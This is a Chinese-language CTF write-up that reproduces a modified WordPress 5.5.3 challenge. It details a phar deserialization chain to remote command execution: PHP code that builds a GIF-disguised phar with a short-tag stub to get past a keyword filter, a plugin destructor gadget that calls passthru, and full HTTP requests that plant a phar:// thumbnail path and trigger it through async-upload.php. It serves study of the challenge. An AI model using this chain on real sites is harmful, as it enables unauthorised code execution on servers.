跟着decade师傅复现下这个题目,感觉质量还是非常高的。让我这个弟弟学到很多
1.环境搭建
找你的朋友要来源码,复制到本地的web目录,用手指打开http://127.0.0.1
2.复现过程
1.信息收集
很新的版本,开放了注册,可以上传文件之类的。正常的WordPress
2.源码分析
从网上dump一份正版的5.5.3。看看有没有什么区别
wp-admin/post.php
第一处就是这里了,少了几行,并且有作者留下的var_dump($_POST) 所以这里可能是要用到的部分了
这个参数应该是必须用的了
wp-admin/includes/file.php
这里过滤了内容不能有php关键字
wp-includes/Requests/Utility/FilteredIterator.php
这少了个反序列化
wp-includes/post.php
phar竟在我眼前
3.解题思路
根据上面和源码的对比,可以发现需要用phar触发反序列化达到命令执行的目的。
通过https://paper.seebug.org/680/#32-wordpress 文章可以发现利用插件的反序列化调用内部执行任意代码的类方法即可。
1.构造phar
通过插件目录全局搜索,正好找到一个__destruct()方法并且包含foreach
的析构方法
然后就可以根据类来构造phar反序列化了
<?php
class Requests_Utility_FilteredIterator extends ArrayIterator {
protected $callback;
public function __construct($data, $callback) {
parent::__construct($data);
$this->callback = $callback;
}
}
class Ai1ec_Shutdown_Controller {
protected $_preserve;
public function __construct() {
$this->_preserve = new Requests_Utility_FilteredIterator(array('id'), 'passthru');
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?= __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头,伪造文件类型
$o = new Ai1ec_Shutdown_Controller();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
有一个点就是之前代码分析时发现过滤的php
关键字,在PHP>5.5时候PHP强制开启了短标签支持,所以可以把phar中的<?php __HALT_COMPILER(); ?>
改成短标签的形式即可绕过。
2.上传phar
3.构造数据包触发phar反序列化
首先找到可控的文件系统函数。
wp-includes/post.php
function wp_get_attachment_thumb_file( $post_id = 0 ) {
$post_id = (int) $post_id;
$post = get_post( $post_id );
if ( ! $post ) {
return false;
}
#file_exists("phar:///var/www/html/wordpress/phar.phar");
$imagedata = wp_get_attachment_metadata( $post->ID );
if ( ! is_array( $imagedata ) ) {
return false;
}
$file = get_attached_file( $post->ID );
if ( ! empty( $imagedata['thumb'] ) ) {
$thumbfile = str_replace( basename( $file ), $imagedata['thumb'], $file );
if ( file_exists( $thumbfile ) ) {
/**
* Filters the attachment thumbnail file path.
*
* @since 2.1.0
*
* @param string $thumbfile File path to the attachment thumbnail.
* @param int $post_id Attachment ID.
*/
return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
}
}
return false;
}
这里正好存在我们需要的file_exists()
方法,又根据上面的比较分析,肯定是利用这里了,追踪$thumb
发现完全可控
继续追踪这个
$thumbfile = str_replace( basename( $file ), $imagedata['thumb'], $file );
如果basename($file)
与$file
相同的话,那么$thumbfile
的值就是$imagedata['thumb']
的值,先来看$file
是如何获取到的:
wp-includes/post.php
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
// If the file is relative, prepend upload dir.
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) ) {
$uploads = wp_get_upload_dir();
if ( false === $uploads['error'] ) {
$file = $uploads['basedir'] . "/$file";
}
}
if ( $unfiltered ) {
return $file;
}
/**
* Filters the attached file based on the given ID.
*
* @since 2.1.0
*
* @param string|false $file The file path to where the attached file should be, false otherwise.
* @param int $attachment_id Attachment ID.
*/
return apply_filters( 'get_attached_file', $file, $attachment_id );
}
如果$file
是类似于windows盘符的路径Z:\Z
,正则匹配就会失败,$file
就不会拼接其他东西,此时就可以保证basename($file)
与$file
相同
那么如何更改$file
呢,我们可以在编辑媒体时手动加上此包
在此页面抓包
修改成如下
POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 727
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/wp-admin/post.php?post=14&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Cookie: wordpress_=Ha1c9on1%7C1610887945%7CJEmaTyu3t8asUN1yFytxhQKgwLPWG8pHmkiUwbtS43e%7C0768bdff16fb8ee1eb6d5c9d9fef5157e4a853408735ca8463c093882c9f9b40; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_=Ha1c9on1%7C1610887945%7CJEmaTyu3t8asUN1yFytxhQKgwLPWG8pHmkiUwbtS43e%7C2b231847a79c0be7133dbf0f51a65e2581905c227b84c581298c1e5a3457b346; wp-settings-time-3=1610722557
Connection: close
_wpnonce=7cf60a6422&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D14%26action%3Dedit%26message%3D1&user_ID=3&action=editpost&originalaction=editpost&post_author=3&post_type=attachment&original_post_status=inherit&referredby=&_wp_original_http_referer=&post_ID=14&meta-box-order-nonce=e2a1a3ee2e&closedpostboxesnonce=ae72657292&post_title=Z%3A%5CZ&samplepermalinknonce=77b3380409&_wp_attachment_image_alt=1&excerpt=1&content=&attachment_url=%2Fwp-content%2Fuploads%2F2021%2F01%2F3.gif&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=eb7f907092&_ajax_fetch_list_nonce=7989d72590&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D14%26action%3Dedit%26message%3D1&post_name=3-2&file=Z:\Z
其实主要是POST一个file参数即可
根据上面的分析我们需要触发phar
在wp-admin/post.php
中发现如下代码可以
case 'editattachment':
check_admin_referer( 'update-post_' . $post_id );
// Don't let these be changed.
unset( $_POST['guid'] );
$_POST['post_type'] = 'attachment';
// Update the thumbnail filename.
$newmeta = wp_get_attachment_metadata( $post_id, true );
$newmeta['thumb'] = $_POST['thumb'];
wp_update_attachment_metadata( $post_id, $newmeta );
// Intentional fall-through to trigger the edit_post() call.
所以修改上面的包
POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 749
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/wp-admin/post.php?post=14&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Cookie: wordpress_=Ha1c9on1%7C1610887945%7CJEmaTyu3t8asUN1yFytxhQKgwLPWG8pHmkiUwbtS43e%7C0768bdff16fb8ee1eb6d5c9d9fef5157e4a853408735ca8463c093882c9f9b40; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_=Ha1c9on1%7C1610887945%7CJEmaTyu3t8asUN1yFytxhQKgwLPWG8pHmkiUwbtS43e%7C2b231847a79c0be7133dbf0f51a65e2581905c227b84c581298c1e5a3457b346; wp-settings-time-3=1610722200
Connection: close
_wpnonce=7cf60a6422&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D14%26action%3Dedit&user_ID=3&action=editattachment&originalaction=editpost&post_author=3&post_type=attachment&original_post_status=inherit&referredby=&_wp_original_http_referer=&post_ID=14&meta-box-order-nonce=e2a1a3ee2e&closedpostboxesnonce=ae72657292&post_title=3&samplepermalinknonce=77b3380409&_wp_attachment_image_alt=1&excerpt=1&content=&attachment_url=%2Fwp-content%2Fuploads%2F2021%2F01%2F3.gif&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=eb7f907092&_ajax_fetch_list_nonce=7989d72590&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D14%26action%3Dedit&post_name=3-2&thumb=phar://../wp-content/uploads/2021/01/3.gif
主要是在结尾添加thumb参数以及修改action=editattachment
在原文章中是使用了XMLRPC.php
,但是题目中没有
根据文章,我们需要调用wp_get_attachment_thumb_file()
函数触发
全局搜一下
发现除了要利用的地方,只有wp-includes/media.php
调用了
看看在什么时候调用此方法了
下断点后,发现在上传的时候调用了此功能
在来跟着$id
看看如何伪造
在该函数中发现没有变化,往上跟踪谁调用了image_downsize()
这也没变化,继续跟wp_get_attachment_image_src
在wp-admin/async-upload.php
中发现了
if ( isset( $_REQUEST['attachment_id'] ) && intval( $_REQUEST['attachment_id'] ) && $_REQUEST['fetch'] ) {
$id = intval( $_REQUEST['attachment_id'] );
$post = get_post( $id );
if ( 'attachment' !== $post->post_type ) {
wp_die( __( 'Invalid post type.' ) );
}
switch ( $_REQUEST['fetch'] ) {
case 3:
$thumb_url = wp_get_attachment_image_src( $id, 'thumbnail', true );
if ( $thumb_url ) {
echo '<img class="pinkynail" src="' . esc_url( $thumb_url[0] ) . '" alt="" />';
}
if ( current_user_can( 'edit_post', $id ) ) {
echo '<a class="edit-attachment" href="' . esc_url( get_edit_post_link( $id ) ) . '" target="_blank">' . _x( 'Edit', 'media item' ) . '</a>';
} else {
echo '<span class="edit-attachment">' . _x( 'Success', 'media item' ) . '</span>';
}
// Title shouldn't ever be empty, but use filename just in case.
$file = get_attached_file( $post->ID );
$title = $post->post_title ? $post->post_title : wp_basename( $file );
echo '<div class="filename new"><span class="title">' . esc_html( wp_html_excerpt( $title, 60, '…' ) ) . '</span></div>';
break;
case 2:
add_filter( 'attachment_fields_to_edit', 'media_single_attachment_fields_to_edit', 10, 2 );
echo get_media_item(
$id,
array(
'send' => false,
'delete' => true,
)
);
break;
default:
add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 );
echo get_media_item( $id );
break;
}
exit;
}
可以发现这里完成了赋值,并且参数完全可控
所以重新设置attachment_id
和fetch
的值即可
可以在媒体编辑处获取值
构造如下数据包
POST /wp-admin/async-upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/wp-admin/post.php?post=19&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Cookie: wordpress_=Ha1c9on1%7C1610887945%7CJEmaTyu3t8asUN1yFytxhQKgwLPWG8pHmkiUwbtS43e%7C0768bdff16fb8ee1eb6d5c9d9fef5157e4a853408735ca8463c093882c9f9b40; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_=Ha1c9on1%7C1610887945%7CJEmaTyu3t8asUN1yFytxhQKgwLPWG8pHmkiUwbtS43e%7C2b231847a79c0be7133dbf0f51a65e2581905c227b84c581298c1e5a3457b346; wp-settings-time-3=1610726646
Connection: close
attachment_id=14&fetch=3
然后就可以命令执行了
4.预期解
上面说的都是非预期的解法,预期解比这个困难,复杂